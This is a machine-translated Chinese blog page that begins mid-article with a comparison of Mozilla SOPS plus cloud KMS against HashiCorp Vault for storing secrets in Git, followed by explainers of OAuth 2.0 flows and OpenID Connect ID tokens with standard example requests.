- 在这种情况下,解密密钥受损在统计上是不可避免的(Vulnerabilities multiplied by clones of the repo multiplied by time)
- 撤销泄露的解密密钥是不可能的。如果你担心解密密钥可能已经被泄露,但泄露的可能性很低,那么由于git的分布式历史,撤销密钥不是一种选择。即使您可以清除git服务器的历史记录,并用新的加密密钥重新加密所有机密,仍然存在可以用旧密钥解密的repo的历史克隆。
- 如果怀疑有妥协,唯一可行的对策是轮换所有证书,这是一项昂贵的操作,管理层通常不愿意凭直觉放弃。
- 一些git加密工具是脚踏板解决方案:运行命令解密机密,然后在将其推送到repo之前忘记加密。
每当我发现一个秘密管理解决方案时,我注意到我可以将其分为4大类:
- 特定于单个云提供商(我出于原因1和3驳回了这些请求)
- 特定于单个技术堆栈(Ansible、Chef、Puppet、Salt、Jenkins)(我出于原因2和5驳回了这些)
- 加密的Git Repo(我驳回了这些原因4和5)
- 推出自己的秘密管理服务(有几个潜在的可行选项,但每个选项都有自己的复杂性,所以专注于其中一个是有意义的。Hashicorp的Vault是明显的赢家,因为它有很多功能、文档、大型社区以及长期支持和开发的记录。)
分析完成后,我花了一个月的业余时间在Vault服务器上工作,用于存储静态机密,以帮助我掌握Vault,我希望它安全、易于维护和易于使用。为了实现这一点,我尽了最大努力,启用TLS,将Vault配置、角色、策略和Kubernetes基础设施作为高可用的Vault/Culus群集的代码添加到git repo中,使用KMS自动解封,编写良好的自述文档,启用版本化的键值存储、LDAP身份验证、web GUI和Adobe称为Cryptr的第三方桌面GUI。在学习Vault时,我注意到它的使用有很多缺点:
- 保险库仍然需要一个地方来存储它的秘密。(Vault将其基础结构作为代码机密存储在何处?KMS Auto Unsecal的HTTPS证书和IAM密码)
- 保险库在很多方面都非常昂贵。(你必须为基础设施和存储付费。你可以从头开始设置它,写一个自述文件,并在一个小时内培训几个人如何使用它,这还不够简单,使用基础设施作为代码和git repo中的预制自述文件会有所帮助,但即使这样,仍有很多东西需要学习。运营人员需要花时间通过备份、升级和监控来维护它o花时间编写自定义包装脚本来验证和提取所需的数据。)
- Vault让那些需要存储秘密的人的生活更加艰难,所以他们会避免使用它,这损害了它作为中央秘密库的目标。(开发人员需要学习几个新命令才能与Vault交互,或者依赖于速度较慢的Vault GUI。大多数现有的工具都是为与文件系统上的文件交互而设计的。因此,使用vimdiff等工具现在需要额外的步骤,包括登录、获取机密、将其转换为文件,以及在完成后删除文件。)
- 默认实现有一个安全漏洞,该漏洞的安全代价很高。(如果有人获得了对Vault服务器的root访问权限,他们可以通过内存转储来获得主解密密钥。在Kubernetes或Cloud VM上托管Vault会带来更多获得root访问权限的机会。为了完全降低root访问的风险,您需要为计算机配备Intel Software Guard Extensions,并在SCONE Security Enclaves中的计算机上运行Vault服务器(在加密RAM中运行的容器)。增加这些将增加更多的基础设施和研究成本。Twistlock、Aqua或SysDig是部分缓解这种风险的替代选项。)
考虑到这些缺点,我决定更深入地研究,这项研究让我找到了Soluto的Kamus,在那里我被介绍了两个很酷的概念:GitOps和零信任秘密加密。这让我一跃成为加密技术的拉比。在旅程的最后,我想出了以下的心理图式。
密码学的简编进化
1.)对称加密密钥:
- 长密码用于加密和解密。
2.)非对称加密公私密钥对:
- 公钥加密数据,私钥解密用公钥加密的数据。
3.)HSM(硬件安全模块):
- 确保私钥不会泄露。
- HSM很贵。
- HSM对用户或自动化都不友好。
4.)云KMS(密钥管理服务):
- KMS是一种受信任的服务,代表客户对数据进行加密和解密,它基本上允许用户或机器使用其身份(identity )而不是加密/解密密钥对数据进行解密。(客户端根据KMS进行身份验证,KMS根据ACL检查其身份,如果客户端具有解密权限,则客户端可以在请求中向KMS发送加密数据,然后KMS将代表客户端解密数据,并通过安全TLS隧道将解密后的数据发送回客户端。)
- KMS很便宜。
- KMS是通过REST API公开的,这使得它们对用户和自动化都很友好。
- KMS是非常安全的,它们使它可以在十年内不泄露解密密钥。
- KMS加密技术的发明引入了3个杀手级功能:
- 在应对已知漏洞时:在KMS之前解密密钥泄露:你不能撤销解密密钥,这意味着你需要轮换几个解密密钥,用新密钥重新加密所有数据,并尽最大努力清除旧的加密数据。在完成所有这些工作的同时,您需要与管理层进行斗争,以获得批准,从而导致多个生产系统停机,最大限度地减少所述停机时间,即使您做得很好,您也可能无法完全清除旧的加密数据,如git历史记录和备份。KMS之后,身份凭据会被泄露:身份凭据可以被吊销,当它们被吊销时,它们就毫无价值了。重新加密数据和清除旧的加密数据的噩梦消失了。您仍然需要轮换机密(身份凭据与解密密钥),但轮换行为变得足够便宜,可以作为预防措施进行自动化和调度。
- 加密数据的管理从涉及分布式解密密钥的不可能的任务转变为管理集中式ACL的琐碎任务。现在可以轻松地撤销、编辑和分配对加密数据的细粒度访问;另外,由于云KMS、IAM和SSO身份联合会集成在一起,您可以利用预先存在的用户身份。
- 加密锚定(Crypto Anchoring )技术成为可能:
- 可以将网络ACL应用于KMS,使其能够在您的环境中解密数据。
- 可以监测KMS解密速率的基线,当发生异常速率时,可以触发警报和速率限制。
- KMS的解密密钥可以通过HSM进行保护。
- 解密密钥被泄露的机会几乎为零,因为客户端不直接与解密密钥交互。
- 云提供商可以雇佣最优秀的安全专业人员,并实施昂贵的操作流程,这些流程是保持后端系统尽可能安全所必需的,因此后端密钥泄漏的机会也几乎为零。
我对高级加密技术的新理解使我意识到KMS可以用来防止解密密钥泄露。再加上无需对加密文件进行任何更改即可撤销解密权限的能力,使Git中真正安全的加密文件成为现实。我重新审视了一些我之前拒绝的基于Git的加密解决方案,发现Mozilla SOPS满足了我理想的秘密管理解决方案的所有标准。它还与CICD管道工具很好地集成:有一个SOPS Terraform Provider,Helm Secrets只是SOPS的包装器,您总是可以回退到:
Bash# sops --decrypt mysecret.yaml | kubectl apply -f -
(其中kubectl可以是任何接受标准输入的CLI实用程序(-))SOPS没有其他基于Git的加密解决方案的缺点:其他基于Gits的加密方案的一个亮点是,有人可能会意外地将解密的秘密推送到Git repo。使用SOPS,当你想编辑一个文件时,文件会在磁盘上加密,在RAM中解密,在那里你可以用vim编辑它,当你保存编辑后的文件时,它会在写入磁盘之前重新加密。同时,它确实提供了快速解密一些文件的灵活性,因此您可以使用vimdiff这样的工具。SOPS没有Vault的缺点:它不需要基础设施,而且和KMS一样便宜。你可以很容易地设置它,培训几个人,并在一小时内编写一个自述文件,下面是一个设置和使用的简单示例:
Bash# aws kms create-key --description "Mozilla SOPS” | grep Arn
"Arn": "arn:aws:kms:us-east-1:020522090443:key/4882a19d-5a98-40ae-a1ad-a60423afbddb",
Bash# cd $repo
Bash# vim .sops.yaml
(创建一个名为.sops.yaml的文件,其中包含以下2行文本)
creation_rules: - kms: 'arn:aws:kms:us-east-1:020522090443:key/4882a19d-5a98-40ae-a1ad-a60423afbddb'
Bash# sops mysecret.yaml
这将打开vim编辑器,以便您可以键入要存储在秘密中的内容。这个简单的命令用于创建和编辑文件。
Bash# cat mysecret.yaml
会给你看一个加密的yaml
Bash# sops --decrypt mysecret.yaml
将向您显示解密的yaml SOPS将使用存储在 ~/.aws 中的AWS凭据对KMS进行身份验证,这样您就可以在没有密码的情况下进行加密和解密。SOPS还会递归地查找.SOPS.yaml文件,这样它就会自动发现关于应该如何加密和解密东西的元数据,这有两个重要的后果:
- 首先,用户不必学习大量的命令或标志。
- 其次,可以将一个额外的.sops.yaml文件添加到表示生产环境或不同项目的子文件夹中,该.sops.yaml文件可以具有不同的加密/解密密钥。
您可以为不同的Cloud IAM用户授予每个KMS密钥不同的权限,以实现细粒度的访问控制。如果你担心有人删除你的AWS KMS密钥,你可以配置SOPS,这样数据就可以由AWS、GCP或Azure KMS解决方案加密或解密,这样你就可以保留一个很少有人能访问的辅助备份KMS。
SOPS鼓励工作流程模式,让生活更轻松。
- Devs可以将加密后的秘密存储在使用它的代码版本旁边并与之同步。秘密管理突然获得了git的所有好处:可审核的更改管理、通过拉取请求进行的同行评审、对秘密的编辑差异都很有意义,因为只有编辑后的值才会在编辑时更新,而整个文件都会重新加密,这也降低了合并冲突的可能性。
- 一致性和标准化总是让自动化和CICD管道开发变得更容易,这让运营人员感到高兴。SOPS允许将代码、配置和机密存储在一致的位置,这使得GitOps工作流更容易实现。
- Hashicorp Vault将很难实现其成为组织集中秘密存储库的目标,因为用户会发现它很难使用,devops会发现维护起来很麻烦,管理层可能会发现它成本高昂。
- 另一方面,SOPS使用起来很轻松,易于学习,维护成本低廉,并支持使生活更轻松的工作流程模式!这些因素加在一起意味着,只要有人能向组织推销,就不会有采用的障碍,这意味着整个组织更有可能加强安全态势。
这就是为什么KMS和Git的SOPS被严重低估的原因。我想澄清一下,这篇文章的目的并不是说Vault不好,你应该使用SOPS和KMS。我写这篇文章有三个原因:一,我喜欢教书。第二,我想指出Vault的一些缺点。第三,KMS和SOPS是一个被严重低估的惊人组合:似乎没有人知道它,我在研究过程中从未遇到过对这两者的正确解释,根据谷歌趋势,与Vault相比,对SOPS的搜索并不多。
我想在这篇文章的结尾说,我衷心建议大家学习SOPS、KMS和Vault。如果Vault很难,为什么要学习它,而使用KMS的SOPS可以轻松地完成同样的事情?真正的原因有两个:一,Vault在PKI和机密轮换方面是同类中最好的,这两项都是满足许多政府和银行安全合规标准所必需的。第二,Vault每年都变得更容易使用:社区已经将其视为一个明显的赢家,并将Vault支持添加到了几个产品中:Jenkins、证书管理器和Kubernetes。尤其是Kubernetes,它与Vault配合得很好,许多痛点都被抽象化和自动化,使它们能够顺利地结合在一起。Vault团队也有着良好的记录,致力于通过改进文档、提供一些IaC和响应社区的需求,使Vault随着时间的推移更易于使用:在社区制作了自动解封解决方案、后端存储迁移解决方案和第三方web GUI之后;Vault的开发人员决定将这些功能移植到开源版本中。有鉴于此,如果将来Vault的Transit Secrets Engine(Vault的KMS解决方案)能够与Mozilla SOPS顺利集成,我也不会感到惊讶。
- 104 次浏览
【数据安全】OAuth 2.0 释疑
需要使用令牌保护应用程序?您正在寻找OAuth 2.0安全框架。它具有Web,移动和IoT客户端的流程,以及用于管理令牌生命周期的有用API。最初作为授予第三方访问社交个人资料的简单有效的解决方案,已经发展到支持各种领域的应用程序,甚至是最严格的安全要求。
1.使用OAuth 2.0进行基于令牌的安全性
令牌已成为保护互联网上应用程序的流行模式。开发人员喜欢它的概念简单性,架构师能够设计具有良好分离的安全角色的应用程序。然而,看似容易将基于令牌的安全潜伏陷阱陷入困境。
为了建立一个处理令牌的坚实框架,具有明显平衡的安全性和易用性,同时借鉴早期成功点击(特别是最初的OAuth)的经验教训,来自互联网社区的工程师设计了OAuth 2.0并将其作为RFC 6749发布于2012。
OAuth 2.0框架中的关键方面是故意保持开放和可扩展的。基本RFC 6749指定了四种安全角色,并引入了四种方法,称为授权授权,以便客户端获取访问令牌。其余的,例如令牌内的内容,留给实施者或未来的扩展填写。
2. OAuth中的四个角色
OAuth定义了四个角色,清晰地分离了他们的顾虑。这与将安全相关的复杂性转移到专用授权服务器相结合,可以快速推出具有一致安全属性的受OAuth 2.0保护的应用程序和服务。
资源所有者
通常意味着最终用户。 该术语反映了OAuth的初始目的,代表用户提供第三方软件访问,但框架的使用已经超出了这一范围。
资源服务器
受保护资产,通常是Web API,需要令牌才能访问。 令牌验证逻辑可以保持非常小,也可以是无状态的。
客户
应用程序 - 基于Web,移动,桌面或基于设备的应用程序,需要获取令牌才能访问资源服务器。 由于复杂性转移到授权服务器,因此客户端OAuth逻辑很简单。
授权服务器
在成功验证最终用户并确保所请求的访问权限可以通过最终用户的同意,应用策略或其他方式后,向客户端发出访问令牌的专用服务器。
3.客户如何获得令牌?
为了获得访问令牌,客户端需要向授权服务器提供有效的授权(凭证)。
如果有一件事经常让OAuth 2.0的新人望而却步,那就是为他们的应用选择合适的补助金。 如果您知道您拥有的客户端类型(网络,移动设备等),那么选择就会变得很明显。
这是一个粗略的指南:
Grant type | Client type / Use case |
---|---|
Authorisation code | Intended for traditional web applications with a backend as well as native (mobile or desktop) applications to take advantage of single sign-on via the system browser. |
Implicit | Intended for browser-based (JavaScript) applications without a backend. |
Password | For trusted native clients where the application and the authorisation server belong to the same provider. |
Client credentials | For clients, such as web services, acting on their own behalf. |
Refresh token | A special grant to let clients refresh their access token without having to go through the steps of a code orpassword grant again. |
SAML 2.0 bearer | Lets a client in possession of a SAML 2.0 assertion (sign-in token) exchange it for an OAuth 2.0 access token. |
JWT bearer | Lets a client in possession of a JSON Web Token (JWT) assertion from one security domain exchange it for an OAuth 2.0 access token in another domain. |
Device code | For devices without a browser or with constrained input, such as a smart TV, media console, printer, etc. |
Token exchange | Lets applications and services obtain an access token in delegation and impersonation scenarios. |
3.1授权代码流程示例
现在,我们将通过一个客户端的示例,使用授权代码授权从OAuth 2.0授权服务器获取访问令牌。 此授权主要用于Web应用程序。
客户端需要执行两个步骤来获取令牌,第一个涉及浏览器,第二个步骤是反向通道请求。 这就是为什么这一系列步骤也称为代码流。
Step 1 | Step 2 | |
---|---|---|
Purpose | 1. Authenticate the user 2. Authorise the client |
1. Authenticate client (optional) 2. Exchange code for token(s) |
Via | Front-channel request (browser redirection) |
Back-channel request (app to web server) |
To | Authorisation endpoint | Token endpoint |
Result on success | Authorisation code (step 2 input) |
Access token Refresh token (optional) |
代码流程:第1步
客户端通过授权请求将浏览器重定向到授权服务器来启动代码流。
示例重定向到授权服务器:
HTTP/1.1 302 Found
Location: https://authz.c2id.com/login?
response_type=code &
scope=myapi-read%20myapi-write &
client_id=s6BhdRkqt3 &state=af0ifjsldkj &
redirect_uri=https%3A%2F%2Fclient.example.org%2Fcb
授权请求参数在URI查询中编码:
- response_type:设置为code以指示授权代码流。
- scope:指定请求的令牌的范围。如果省略,授权服务器可能会采用某个默认范围。
- client_id:授权服务器上的客户端的标识符。当客户端通过客户端注册API,开发人员控制台或其他方法向授权服务器注册时,将分配此标识符。
- state:客户端设置的可选opaque值,用于维护请求和回调之间的状态。
- redirect_uri:授权响应的客户端回调URI。如果省略,授权服务器将采用客户端的默认注册重定向URI。
在授权服务器处,通常通过检查用户是否具有有效会话(由浏览器cookie建立)来验证用户,并且如果没有,则通过提示用户登录来验证用户。之后,服务器将通过询问用户的同意,应用规则或策略,或通过其他方式来确定客户端是否被授权。
然后,授权服务器将使用授权代码(成功时)或错误代码调用客户端redirect_uri(如果访问被拒绝,或者发生了一些其他错误,则检测到这样的格式错误的请求)。
HTTP/1.1 302 Found
Location: https://client.example.org/cb?
code=SplxlOBeZQQYbYS6WxSbIA &
state=af0ifjsldkj
客户端必须验证状态参数,并使用代码继续下一步 - 交换访问令牌的代码。
代码流程:第2步
授权代码是一个中间凭证,它对在步骤1中获得的授权进行编码。因此,它对客户端是不透明的,只对授权服务器有意义。要检索访问令牌,客户端必须将代码提交给授权服务器,但这次使用直接反向通道请求。这样做有两个原因:
在显示令牌之前,使用授权服务器对机密客户端进行身份验证;
将令牌直接传递给客户端,从而避免将其暴露给浏览器。
令牌代码交换发生在授权服务器的令牌端点:
POST /token HTTP/1.1
Host: openid.c2id.com
Content-Type: application/x-www-form-urlencoded
Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
grant_type=authorization_code &
code=SplxlOBeZQQYbYS6WxSbIA &
redirect_uri=https%3A%2F%2Fclient.example.org%2Fcb
客户端ID和密钥通过Authorization标头传递。除了HTTP基本身份验证之外,OAuth 2.0还支持使用JWT进行身份验证,JWT不会使用令牌请求公开客户端凭据,因此已过期,因此可提供更强的安全性。
令牌请求参数是表单编码的:
- grant_type设置为authorization_code。
- 代码从步骤1获得的代码。
- redirect_uri重复步骤1中的回调URI。
成功时,授权服务器将返回具有已颁发访问令牌的JSON对象:
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-store
Pragma: no-cache
{ "access_token" : "SlAV32hkKG",
"token_type" : "Bearer",
"expires_in" : 3600,
"scope" : "myapi-read myapi-write"
}
expires_in参数通知客户端访问令牌有效的秒数。范围参数是令牌实际具有的功能,因为某些最初请求的范围值可能已被拒绝,或者其他未明确请求的范围值被授予。
JSON对象可以包含可选的刷新令牌,该令牌允许客户端从授权服务器获取新的访问令牌,而无需重复代码流。
4.客户端如何使用令牌访问受保护资源?
使用令牌访问资源服务器(例如Web API)非常简单。 OAuth 2.0中的访问令牌通常是类型承载,这意味着客户端只需要为每个请求传递令牌。 HTTP Authorization标头是推荐的方法。
GET /resource/v1 HTTP/1.1
Host: api.example.com
Authorization: Bearer oab3thieWohyai0eoxibaequ0Owae9oh
如果资源服务器确定令牌有效且未过期,则它将继续为请求提供服务。
否则,它将在HTTP WWW-Authenticate响应头中返回适当的错误。
无效或过期令牌的示例错误:
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer realm="api.example.com",
error="invalid_token",
error_description="The access token is invalid or expired"
如果客户端收到过去工作的访问令牌的invalid_token错误,则表明它必须从授权服务器请求新的错误。
承载令牌(bearer tokens)的使用在RFC 6750中指定。
请记住,令牌的承载性质意味着拥有它的任何人都可以访问资源服务器。因此,必须保护承载令牌 - 首先,通过将它们保存在安全的客户端存储中,然后在传输中,通过TLS提交它们。发行短期令牌可以减少令牌泄漏的潜在风险。
5.如何使用令牌保护资源服务器?
要清除提交的请求,资源服务器需要验证令牌。验证确保以下内容:
- 访问令牌已由授权服务器发出。
- 令牌尚未过期。
- 其范围涵盖了请求。
如何完成取决于访问令牌的特定实现,该实现由授权服务器确定。更多内容将在下一章中介绍。
所需的令牌验证逻辑可以很容易地从底层资源中抽象出来,或者改装到现有资源上。可以使用反向HTTP代理或API网关来实现该目的。
最受欢迎的Web服务器和框架(例如Apache httpd和Spring)提供某种模块来验证使用承载访问令牌保护的传入请求。在成功验证后,可以向底层资源提供所选的有用令牌属性,例如最终用户的身份。这又是一个实施问题。
6.访问令牌
OAuth 2.0框架没有规定访问令牌的特定实施例。 这个决定留给实现者的理由很充分:对于客户端,令牌只是一个不透明的字符串; 它们的验证是授权服务器和资源服务器之间的问题,并且由于它们通常属于同一个提供者,因此没有足够的需求来指定标准令牌格式。
从根本上说,有两种类型的持票人令牌:
Identifier-based | Self-contained |
---|---|
The token represents a hard-to-guess string which is a key to a record in the authorisation server's database. A resource server validates such a token by making a call to the authorisation server's introspection endpoint. | The token encodes the entire authorisation in itself and is cryptographically protected against tampering. JSON Web Token (JWT) has become the defacto standard for self-contained tokens. |
Pros / cons of identifier-based tokens:
|
Pros / cons of self-contained tokens:
|
7.授权服务器
授权服务器负责为其域中的受保护资源发出访问令牌。
OAuth使服务器实施者可以自由地确定最终用户的身份验证方式以及实际授权的执行方式。 Connect2id服务器充分利用了这一点,并提供了一个灵活的Web API,用于插入任何类型的身份验证因素以及逻辑,以确定已发布的访问令牌的范围。
7.1最终用户认证
授权服务器可以例如实现密码和基于风险的认证的组合,其中当客户端请求高价值资源或交易的访问令牌时,需要诸如U2F的第二因素。
用户的认证也可以委托给外部提供者,例如通过给用户选择流行的社交登录。也可以利用自发的身份。
成功进行身份验证后,通常会建立一个会话,以便为用户提供单点登录(对于涉及浏览器的OAuth授权或流量)的好处。
可以要求用户重新认证他们的浏览器的IP地址是否改变,或者如果令牌范围要求更大确定合法用户存在。这再次受制于具体的服务器策略。
7.2授权
与最终用户身份验证一样,授权过程和确定发布的令牌接收的范围是特定于实现的。
发布用于访问最终用户数据和其他资源的令牌的授权服务器通常呈现同意表,其中最终用户可以决定授予哪些范围以及哪些范围不授予请求应用程序。
公司中的授权服务器将查阅策略,该策略考虑员工的状态和角色以确定令牌范围,跳过任何与同意相关的交互。客户的信任级别,例如内部应用程序与外部应用程序,也可能是一个因素。
7.3客户端认证
OAuth定义了两种类型的客户端,具体取决于它们使用授权服务器进行安全身份验证的能力:
机密 - 可以将其凭据与最终用户和其他实体保密的客户端。在Web服务器上执行的Web应用程序可以是此类客户端。
公共 - 在用户的设备上,用户的浏览器或类似环境中执行的客户端,可以相对轻松地提取客户端中存储的任何凭据。
无论其类型如何,所有客户端都会获得授权服务器分配的唯一client_id。
到目前为止,已指定了六种不同的客户端身份验证方法,授权服务器可以实现其中任何一种:
Method | Description |
---|---|
client_secret_basic | Essentially HTTP basic authentication with a shared secret. The most widely implemented because of its simplicity, but also with the weakest security properties. |
client_secret_post | A variant of basic authentication where the credentials are passed as form parameters instead of in the Authorization header. |
client_secret_jwt | The client authenticates with a JSON Web Token (JWT) secured with an HMAC using the client secret as key. Prevents leakage of the secret and limits the time-window for replay if the request is accidentally sent over unsecured HTTP. |
private_key_jwt | Another JWT-based authentication method, but using a private key, such as RSA or EC, which public part is registered with the authorisation server. Private key authentication limits the proliferation of secrets and also provides a non-repudiation property. |
tls_client_auth | The client authenticates with a client X.509 certificateissued from a CA authority trusted by the authorisation server. |
self_signed_tls_client_auth | The client authenticates with a self-signed client X.509 certificate. Has similar properties as the private key JWT method. |
7.4。 授权服务器端点
Core endpoints | Optional endpoints |
---|---|
7.4.1授权端点
这是服务器端点,其中对最终用户进行身份验证,并在授权代码中授予请求客户端授权和隐式流(授权)。剩余的OAuth 2.0授权不涉及此端点,而是令牌令牌。
这也是通过前端通道(浏览器)和用户与服务器交互的唯一标准端点。
7.4.2令牌端点
令牌端点允许客户端为访问令牌交换有效授权,例如从授权端点获得的代码。
还可以发布刷新令牌,以允许客户端在其到期时获得新的访问令牌,而不必重新提交原始授权授权的新实例,例如代码或资源所有者密码凭证。这样做的目的是最小化最终用户与授权服务器的交互量,从而更好地体验整体体验。
如果客户端是机密的,则需要在令牌端点进行身份验证。
7.4.3可选端点
授权服务器可以具有以下附加端点:
服务器元数据 - 列出服务器端点URL及其支持的OAuth 2.0功能的JSON文档。客户端可以使用此信息配置对服务器的请求。
服务器JWK集 - 带有服务器公钥(通常为RSA或EC)的JSON文档,采用JSON Web Key(JWK)格式。这些密钥可用于保护发布的JWT编码的访问令牌和其他对象。
客户端注册 - 用于向授权服务器注册客户端的RESTful Web API。注册可能受到保护(需要预先授权)或开放(公共)。
令牌内省 - 用于让资源服务器验证基于标识符的访问令牌。也可用于验证自包含访问令牌。
令牌撤销 - 用于让客户端通知授权服务器不再需要先前获得的刷新或访问令牌。请注意,此端点不用于撤消对最终用户或客户端的访问;这将需要一个自定义API。
8.常见问题
8.1 OpenID Connect如何与OAuth 2.0相关?
OpenID Connect是用于验证最终用户的具体协议,在OAuth 2.0框架之上设计。因此,OpenID Connect通常也称为OAuth 2.0的配置文件。
OpenID Connect引入了一个新令牌,称为ID令牌,用于编码最终用户的身份。 ID令牌通过现有的标准OAuth 2.0流程提供。
仍然使用访问令牌。它有助于从OpenID提供程序的UserInfo端点检索同意的配置文件详细信息(称为声明或属性)。
8.2还存在哪些其他OAuth 2.0配置文件?
社区正在开发除OpenID Connect之外的其他具体配置文件,由专家仔细审查,为特定行业或应用程序域提供基于令牌的安全性:
- FAPI - 用于开放式银行和PSD2实施的金融级应用程序的高安全性配置文件。
- HEART - 允许个人控制对其健康相关数据的访问的配置文件。
- MODRNA - 适用于向依赖方提供身份服务的移动网络运营商。
- EAP - 集成令牌绑定和FIDO的安全和隐私配置文件。
- iGOV - 用于在全球范围内通过公共部门服务对同意数据进行身份验证和共享。
原文:https://connect2id.com/learn/oauth-2
本文:http://pub.intelligentx.net/node/467
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 43 次浏览
【数据安全】OpenID Connect 释疑
OpenID Connect已成为互联网上单点登录和身份提供的领先标准。 它的成功公式:简单的基于JSON的身份令牌(JWT),通过OAuth 2.0流程提供,专为基于Web,基于浏览器和本机/移动应用程序而设计。
1.本地用户身份验证与身份提供商
应用程序通常需要识别其用户。简单的方法是为用户的帐户和凭证创建本地数据库。如果有足够的技术保养,这可以使其运作良好。但是,本地身份验证可能对业务不利:
- 人们发现注册和帐户创建繁琐,这是正确的。消费者网站和应用程序可能因此而遭受废弃的购物车,这意味着业务和销售的损失。
- 对于拥有许多应用程序的企业而言,维护单独的用户数据库很容易成为管理和安全的噩梦。您可能希望更好地使用IT资源。
这些问题的既定解决方案是将用户身份验证和配置委派给专用的专用服务,称为身份提供商(IdP)。
谷歌,Facebook和Twitter,互联网上的许多人都注册,为他们的用户提供这样的IdP服务。通过将登录与这些IdP集成,消费者网站可以极大地简化用户入职。
在企业中,理想情况下,这将是一个内部IdP服务,供员工和承包商登录内部应用程序。集中化具有相当大的好处,例如更轻松的管理以及新应用程序可能更快的开发周期。你可能会问:这不会造成单点故障吗?不,不是在为冗余构建IdP服务时。
2.进入OpenID Connect
OpenID Connect于2014年发布,不是IdP的第一个标准,但在可用性和简单性方面绝对是最好的,从SAML和OpenID 1.0和2.0等过去的工作中汲取了教训。
OpenID Connect成功的公式是什么?
- 易于使用的身份令牌:客户端接收以安全的JSON Web令牌(JWT)编码的用户身份,称为ID令牌。 JWT的优雅和便携性以及对各种签名和加密算法的支持非常受欢迎。这一切使得JWT在ID令牌工作中表现突出。
- 基于OAuth 2.0协议:ID令牌通过标准OAuth 2.0流程获得,支持Web应用程序以及本机/移动应用程序。 OAuth 2.0还意味着拥有一个用于身份验证和授权的协议(获取访问令牌)。
- 简单性:OpenID Connect非常简单,可以与基本应用程序集成,但它还具有满足苛刻的企业要求的功能和安全选项。
3.身份令牌
ID令牌类似于标识JWT格式的身份证的概念,由OpenID提供商(OP)签名。要获得一个身份令牌,客户端需要通过身份验证请求将用户发送到他们的OP。
ID令牌的功能:
- 断言用户的身份,在OpenID(sub)中称为subject。
- 指定颁发机构(iss)。
- 是为特定受众生成的,即客户(aud)。
- 可能包含一个nonce(nonce)。
- 可以指定何时(auth_time)以及如何在强度(acr)方面对用户进行身份验证。
- 有发放(iat)和到期时间(exp)。
- 可能包含有关主题的其他请求详细信息,例如姓名和电子邮件地址。
- 是经过数字签名的,因此可以由目标收件人进行验证。
- 可以选择加密以保密。
ID令牌语句或声明包装在一个简单的JSON对象中:
{
“sub”:“爱丽丝”,
“iss”:“https://openid.c2id.com”,
“aud”:“client-12345”,
“nonce”:“n-0S6_WzA2Mj”,
“auth_time”:1311280969,
“acr”:“c2id.loa.hisec”,
“iat”:1311280970,
“exp”:1311281970
}
ID令牌头,声称JSON和签名被编码为基本64位URL安全字符串,以便于传递 arround,例如作为URL参数。
eyJhbGciOiJSUzI1NiIsImtpZCI6IjFlOWdkazcifQ.ewogImlzcyI6ICJodHRw
Oi8vc2VydmVyLmV4YW1wbGUuY29tIiwKICJzdWIiOiAiMjQ4Mjg5NzYxMDAxIiw
KICJhdWQiOiAiczZCaGRSa3F0MyIsCiAibm9uY2UiOiAibi0wUzZfV3pBMk1qIi
wKICJleHAiOiAxMzExMjgxOTcwLAogImlhdCI6IDEzMTEyODA5NzAKfQ.ggW8hZ
1EuVLuxNuuIJKX_V8a_OMXzR0EHR9R6jgdqrOOF4daGU96Sr_P6qJp6IcmD3HP9
9Obi1PRs-cwh3LO-p146waJ8IhehcwL7F09JdijmBqkvPeB2T9CJNqeGpe-gccM
g4vfKjkM8FcGvnzZUN4_KSP0aAp1tOJ1zZwgjxqGByKHiOtX7TpdQyHE5lcMiKP
XfEIQILVq0pc_E2DzL7emopWoaoZTF_m0_N0YzFC6g6EJbOEoRoSK5hoDalrcvR
YLSrQAZZKflyuVCyixEoV9GfNQC3_osjzw2PAithfubEEBLuVVk4XUVrWOLrLl0
nx7RkKU8NXNHq-rvKMzqg
您可以在RFC 7519中阅读有关JWT数据结构及其编码的更多信息。
4.如何申请ID令牌
既然我们知道ID令牌是什么,那么OpenID Connect中称为依赖方(RP)的客户端如何请求?
身份验证必须在身份提供者处进行,身份提供者将检查用户的会话或凭据。为此,需要受信任的代理,此角色通常由Web浏览器执行。
浏览器弹出窗口是Web应用程序将用户重定向到IdP的首选方式。 Android或iOS等平台上的移动应用程序应为此目的启动系统浏览器。嵌入式Web视图不受信任,因为没有什么可以阻止应用程序窥探用户密码。用户身份验证必须始终发生在与应用程序(例如浏览器)分开的可信上下文中。
请注意,OpenID Connect未指定用户应如何进行实际身份验证,这由提供商决定。
通过OAuth 2.0协议请求ID令牌,该协议本身取得了巨大成功。 OAuth最初被设计为一种简单的授权机制,方便应用程序获取Web API或其他受保护资源的访问令牌。它具有针对所有应用程序类型设计的流程:传统的基于服务器的Web应用程序,仅浏览器(JavaScript)应用程序以及本机/移动应用程序。
那么获取ID令牌的流程或路径是什么?
- 授权代码流 - 最常用的流程,适用于传统的Web应用程序以及本机/移动应用程序。涉及到/来自OP的初始浏览器重定向以进行用户认证和同意,然后是第二个反向通道请求以检索ID令牌。此流程提供最佳安全性,因为令牌不会泄露给浏览器,客户端也可以进行身份验证。
- 隐式流 - 适用于没有后端的基于浏览器(JavaScript)的应用程序。使用来自OP的重定向响应直接接收ID令牌。此处不需要反向频道请求。
- 混合流 - 很少使用,允许应用程序前端和后端彼此分开接收令牌。本质上是代码和隐式流的组合。
OpenID Connect规范提供了三种流程的良好比较,这里以简化形式再现。
Flow property | Code | Implicit | Hybrid |
---|---|---|---|
Browser redirection step | ✔ | ✔ | ✔ |
Backend request step | ✔ | ✕ | ✔ |
Tokens revealed to browser | ✕ | ✔ | ✔ |
Client can be authenticated | ✔ | ✕ | ✔ |
5.ID令牌使用
除了基本登录之外,还可以使用ID令牌:
- 无状态会话 - 将ID令牌放入浏览器cookie可以实现轻量级无状态会话。这消除了在服务器端(在内存或磁盘上)存储会话的需要,这可能是管理和扩展的负担。通过验证ID令牌来检查会话。当令牌达到其发布时间戳(iat)之后的某个预定义年龄时,应用程序可以通过silent prompt = none请求简单地向OP请求新的时间戳。
- 将身份传递给第三方 - 当需要了解用户身份时,ID令牌可以传递给其他应用程序组件或后端服务,例如记录审计跟踪。
- 令牌交换 - 可以在OAuth 2.0授权服务器(draft-ietf-oauth-token-exchange-12)的令牌端点处交换ID令牌以获取访问令牌。当需要身份证件来获取访问权限时,有真实世界的场景,例如当您在酒店办理登机手续以获取房间钥匙时。令牌交换用于分布式和企业应用程序。
